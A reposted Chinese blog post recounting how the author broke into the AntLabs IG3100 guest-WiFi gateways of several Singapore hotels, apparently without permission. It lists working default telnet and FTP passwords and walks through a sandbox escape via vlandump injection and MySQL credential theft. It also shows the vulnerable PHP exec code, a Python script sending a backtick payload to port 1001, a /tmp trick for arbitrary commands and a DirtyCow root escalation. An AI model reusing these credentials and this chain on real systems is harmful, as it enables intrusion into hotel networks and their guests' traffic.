Exploit Singapore Hotels: ezxcess.antlabs.com

栏目: 数据库 · Mysql · 发布时间: 6年前

内容简介:这几天在新加坡参加 HITB,比起各类料理,更让我感兴趣的是它的酒店 WiFi。去了三家酒店,WiFi 用的都是统一套认证系统,是 AntLabs 的 IG3100 的设备。连接到 WiFi 后会弹出一个地址为 ezxcess.antlabs.com 的认证页面:读了读代码,发现程序存在一个 RCE。这里的 msg 带入到 exec 中,并且直接双引号包裹。那么可以直接用反引号来执行命令。通读了一遍代码后,我发现除了 MySQL 查询语句居然没有其他可控的点。代码如下:

这几天在新加坡参加 HITB,比起各类料理,更让我感兴趣的是它的酒店 WiFi。去了三家酒店,WiFi 用的都是统一套认证系统,是 AntLabs 的 IG3100 的设备。连接到 WiFi 后会弹出一个地址为 ezxcess.antlabs.com 的认证页面: Exploit Singapore Hotels: ezxcess.antlabs.com 这个地址一般来说都是解析到 traceroute 第二跳的 IP 段的最后一位地址为 2 的主机上,比如 traceroute 的结果为 10.10.1.1,那么会解析到 10.10.1.2。 秉持着我到一个酒店日一个的精神,我对于这套系统进行了一个深入的测试,最后通过串联了 4 个漏洞拿到系统的 root 权限。

1. Backdoor Accounts

通过 Google,我找到了这个系统测两个默认口令。一个是 telnet 的帐号,帐号密码为 console / admin,另外一个是 ftp 的帐号,帐号密码为 ftponly / antlabs。很幸运,遇到的大部分酒店这两个帐号都没有禁用。

登录进去后,发现帐号在一个受限的 shell 下,看了看 shell 自带的命令,和 Linux 自带的一些命令差不多,甚至可以用一些命令查看到沙盒之外的信息,比如 ps -ef: Exploit Singapore Hotels: ezxcess.antlabs.com

利用 netstat -l 发现这个系统存在一个 MySQL,但是仅监听在 127.0.0.1。同时还发现了 6000 端口是一个 SSH 服务端口。

Exploit Singapore Hotels: ezxcess.antlabs.com

利用 SSH,我可以建立一个端口转发,将仅监听在 127.0.0.1 的 3306 端口转发到我的 MacBook 上,然后进行连接操作。

Exploit Singapore Hotels: ezxcess.antlabs.com

看了看,爆了个 ERROR 2027 (HY000): Malformed packet 的错误,nc 上去看了一下,发现这个服务器的 MySQL 是 MySQL 4.1.2,我真的没见过这么古老的 MySQL 了。虽然我命令行连接不了,但是我还有 Navicat。用 Navicat 连接果然可以,但是问题来了,我不知道 MySQL 的密码是什么。

2. Sandbox Escape

刚才说到,telnet / ssh 连接进去后是在一个受限的 shell 里,那么作为黑客的一个特点就是看到沙盒就手痒。怎么逃逸沙盒,这个需要看 shell 提供了什么功能了。运行 help 看看:

Exploit Singapore Hotels: ezxcess.antlabs.com

经过一番思考,我发现,这个 shell 除了一些 Linux 的系统命令外,还有一些看起来不是 Linux 自带的命令,比如 sshtun、usage_log、vlandump 等等。这些命令我猜测是一些脚本或者二进制文件写的,来方便管理员进行一些操作。那么既然是开发人员编写的,那么就有可能有漏洞,特别是命令注入漏洞。尝试了几次之后,我成功利用了 vlandump 逃逸了沙盒:

Exploit Singapore Hotels: ezxcess.antlabs.com

沙盒是逃逸了,但是我还是绝望的发现,我被 chroot 了。chroot 我是绕不过去了,只能翻翻配置文件来寻找乐子。然后我惊喜地在 /etc 目录发现了 MySQL 的密码:

Exploit Singapore Hotels: ezxcess.antlabs.com

那么有了密码,又能访问端口,我们就可以连接 MySQL 登录数据库了。

3. File Read

在数据库找到了管理员的帐号密码,成功登录。接下来就是拿 shell 的时候了,那么需要对这个系统做个代码审计。

Exploit Singapore Hotels: ezxcess.antlabs.com

MySQL root 用户的好处就是可以读文件,但是我发现我读 /etc/httpd/conf.d/httpd.conf 居然显示没有权限,又猜不到 Web 的目录,场面一度十分尴尬。

峰回路转,我在 shell 内 ps -ef 的时候发现了一个奇怪的东西:

Exploit Singapore Hotels: ezxcess.antlabs.com

tcpserver 命令在 1001 启动了个端口,转交给 PHP 来处理。这个东西看起来好搞,利用 load_file 读取后,发现是用 IonCube 加密过的,网上随便找了个平台解了个密,得到代码:

Exploit Singapore Hotels: ezxcess.antlabs.com

4. Limited RCE

读了读代码,发现程序存在一个 RCE。

function logSyslog($msg)
{
    global $ip;
    global $buffer;
    $msg = trim($msg);

    if ($msg != '') {
        exec('/usr/bin/logger -p lpr.info -t Acc_Printer -- "Printer ' . $ip . ' ' . $buffer . ' ' . $msg . '"', $out, $ret);

        if ($ret == 0) {
            return TRUE;
        }
    }

    return FALSE;
}

这里的 msg 带入到 exec 中,并且直接双引号包裹。那么可以直接用反引号来执行命令。通读了一遍代码后,我发现除了 MySQL 查询语句居然没有其他可控的点。代码如下:

function generateAccount($buffer)
{
    global $ip;
    global $print_previous;
    global $timeformat;
    global $dateformat;
    global $transactionNumberDigit;
    global $printer_path;
    global $db;
    $copy_label = '';

    if ($buffer != $print_previous) {
        $query = 'SELECT * FROM ant_services.Acc_Printer_Button JOIN ant_services.Acc_Printer ON Acc_Printer_Button.printer_id=Acc_Printer.printer_id  WHERE button_code=\'' . mysql_real_escape_string($buffer) . '\' AND printer_ip=\'' . mysql_real_escape_string($ip) . '\'';
        $rsbutton = $db->query($query);

        if (!($button = $rsbutton->fetch())) {
            logSyslog('failed to read button configuration from database. QUERY = ' . $query);
            return FALSE;
        }

往上追溯一下调用这个函数的地方,我发现了更绝望的事情:

if (trim($buffer) == '(') {
    $buffer .= fread(STDIN, 14);

    if (!strstr($print_previous, $buffer)) {
        generateAccount($buffer);
    }

我们只有 14 个字节的可控点,去掉首尾的反引号后还有 12 位。这太他妈 CTF 了吧。

另外还有一个限制:

while (true) {
    unset($printer_details);
    clearstatcache();

    if (!($res = $db->query('SELECT * FROM ant_services.Acc_Printer WHERE printer_ip=\'' . mysql_real_escape_string($ip) . '\' AND status=\'enable\''))) {
        logSyslog('failed to query database to get printer details');
        exit(1);
    }

    if ($res->rowCount() == '0') {
        logSyslog('is not found in registered printer list database ');
        exit(1);
    }

我想执行命令的话,需要是在 ant_services.Acc_Printer 能查到我的 IP 的,不过对于拥有数据库权限的我们来说,不是什么大问题。

写了个脚本方便执行:

import zio, sys

io = zio.zio(('192.168.10.2', 1001))
io.write('(`%s`)' % sys.argv[1])

不知道大家还记得之前提过有一个 FTP 的事情吗?我发现执行命令的结果会写在 FTP 下面的 log/acc/acc.log,这也算是意外之喜了。

Exploit Singapore Hotels: ezxcess.antlabs.com

5. Unlimited RCE

12 个字节怎么想怎么难受,但是想了想,我们有 MySQL,能写文件。如果把要执行的命令写到 /tmp 目录下,接着利用 bash /tmp/a 执行,只需要 11 个字节,那么就非常顺利的将受限的命令执行转化为任意命令执行了。

Exploit Singapore Hotels: ezxcess.antlabs.com

6. DirtyCows

没啥好说的了,这个 CentOS 4 的版本,随便提权啦。

Exploit Singapore Hotels: ezxcess.antlabs.com

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

设计模式解析

设计模式解析

Alan Shalloway、James R.Trott / 徐言声 / 人民邮电出版社 / 2013-1 / 55.00元

《设计模式解析(第2版·修订版)》,本书首先概述了模式的基础知识,以及面向对象分析和设计在当代软件开发中的重要性,随后使用易懂的示例代码阐明了12个最常用的模式,使读者能够理解模式背后的基本原则和动机,理解为什么它们会这样运作。一起来看看 《设计模式解析》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

html转js在线工具
html转js在线工具

html转js在线工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试